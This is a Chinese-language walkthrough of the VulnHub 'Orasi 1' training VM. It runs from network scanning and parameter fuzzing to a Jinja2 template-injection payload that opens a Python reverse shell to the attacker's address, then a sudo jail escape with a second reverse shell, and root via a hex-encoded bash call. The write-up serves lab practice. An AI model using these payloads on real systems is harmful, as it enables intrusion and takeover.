学习参考:https://www.bilibili.com/video/BV1M24y1F79Z
官方文档:https://www.vulnhub.com/entry/orasi-1,660/
虚拟环境:Virtual box
攻击机:kali2023 192.168.64.5
靶场:orasi 192.168.64.4
nmap -sn 192.168.64.0/24
nmap -p- -sV -A 192.168.64.4
开放了21、22、80、5000端口
21允许匿名用户访问
进入看一下
进入pub
Get url
File url
发现是64为可执行文件
Styrings url
看不出来啥
objdump -d url
反汇编一下url
可以得到库文件和函数,找一下main函数
Main函数调用了很多次insert
将insert传的值拼在一起
0x2f 0x73 0x68 0x34 0x64 0x30 0x77 0x24 0x73
得到:/sh4d0w$s
结合刚才的url,可能这是一个隐藏的url
看不明白啥意思
试着将上面/sh4d0w$s拼接在http://192.168.64.4/后面
发现404
http://192.168.64.4:5000/
发现404
带上刚才的隐藏路径
http://192.168.64.4:5000/sh4d0w$s
有东西,提示没有输入
说明可以传参,进行枚举,使用ffuf工具
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.64.4:5000/sh4d0w$s?FUZZ=/etc/passwd' -fs 0
发现很多size:8,过滤掉8
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.64.4:5000/sh4d0w$s?FUZZ=/etc/passwd' -fs 0,8
找参数
生成密码字典
更换字典重新进行参数寻找
找到参数:l333tt
尝试一,发现输入什么输出什么
http://192.168.64.4:5000/sh4d0w$s?l333tt=abc
使用双层花括号判断
如果输出8*9就是没有注入
如果输出72就是有注入
Python存在服务端模板注入多是用了jinjia的组件
Github搜:ssti exp
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.64.5\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read()}}{%endif%}{% endfor %}
开启监听
nc -nlvp 4444
浏览器拼接输入
发现地址一直在加载
http://192.168.64.4:5000/sh4d0w$s?l333tt={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%22python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\%22192.168.64.5\%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([\%22/bin/bash\%22,%20\%22-i\%22]);%27%22).read()}}{%endif%}{%%20endfor%20%}
Shell推(反弹)过来了
改一下交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
发现了两个用户
发现有没有su权限的命令,发现没有
使用linpeas脚本
看哟没有sudo权限
发现kori用户可以运行php脚本
Cat一下
cat /home/kori/jail.php
有个函数,禁用了nc,bash
11,kori账户
sudo -u kori /bin/php /home/kori/jail.php python
输入下面的代码
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.64.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Sudo -l发现下面有个cp操作
启动的web服务,不用管
进入到irida.apk目录
启用http服务
Python3 -m http.server
将irida.apk拿到本地
wget http://192.168.64.4:8000/irida.apk
使用反汇编工具:jadx-gui
通过jadx-gui工具分析,发现
试着用irida用户登录,发现不对
11,忽略的信息‘
根据题目
最后一个密码进入了
发现可以以root用户运行python
sudo /usr/bin/python3 /root/oras.py
先把十六进制转化为string,再执行string
如果想执行bash
需要把bash变为十六进制
就会把十六进制的bash转化为bash,再执行
Python调bash
得到十六进制的bash
b'import os;os.system("/bin/bash")'.hex()
696d706f7274206f733b6f732e73797374656d28222f62696e2f626173682229
已经进入到了root
拿到权限